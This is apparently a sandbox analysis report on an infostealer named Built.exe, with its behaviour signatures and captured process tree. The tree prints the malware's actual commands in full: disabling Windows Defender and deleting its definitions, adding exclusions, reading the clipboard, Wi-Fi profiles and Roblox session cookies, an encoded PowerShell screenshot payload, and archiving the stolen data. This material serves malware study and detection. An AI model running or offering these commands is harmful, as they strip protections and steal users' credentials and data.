Overview

overview

10

Static

static

10

Built.exe

windows10-2004-x64

Built.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    900s
  • max time network
    463s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/08/2026, 01:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Built.exe
  • Size 11.3MB
  • Sample260821-btpprazera
  • SHA256 8d4e0f222e273de676a1d031e54991c94a1ce6e3598d22634730581bdf1d2985
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecollectiondefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarespywarestealerupx

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 20 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 3 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 26 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 51 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4828
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3664
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5616
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4868
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:5344
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('telegram ZANIX002', 0, 'bruh', 0+16);close()""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5464
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('telegram ZANIX002', 0, 'bruh', 0+16);close()"
          4⤵
            PID:4416
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍    .scr'"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3220
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍    .scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2016
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5008
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Discovers running processes
            PID:3308
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2316
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Discovers running processes
            PID:5888
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6068
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4660
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:684
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            PID:1548
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4308
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Discovers running processes
            PID:3008
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4956
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:3372
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:1852
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:2496
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2484
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:2908
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1764
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2544
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\h3t0j2zk\h3t0j2zk.cmdline"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:6116
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB404.tmp" "c:\Users\Admin\AppData\Local\Temp\h3t0j2zk\CSC95B72CFE74E04BC7BC9E4314C7DCC94.TMP"
                  6⤵
                    PID:1540
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:636
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:1156
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3896
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:5052
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4920
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:5344
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2028
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:5252
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:3952
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:5744
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5176
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1688
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4504
                        • C:\Windows\system32\getmac.exe
                          getmac
                          4⤵
                            PID:3040
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5400
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5340
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI000011542\rar.exe a -r -hp"1234" "C:\Users\Admin\AppData\Local\Temp\YkcWd.zip" *"
                          3⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2724
                          • C:\Users\Admin\AppData\Local\Temp\_MEI000011542\rar.exe
                            C:\Users\Admin\AppData\Local\Temp\_MEI000011542\rar.exe a -r -hp"1234" "C:\Users\Admin\AppData\Local\Temp\YkcWd.zip" *
                            4⤵
                            • Executes dropped EXE
                            PID:4508
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                          3⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1872
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            4⤵
                              PID:1156
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic os get Caption
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5948
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5308
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic computersystem get totalphysicalmemory
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5052
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4304
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic csproduct get uuid
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1696
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4780
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5156
                          • C:\Windows\system32\cmd.exe
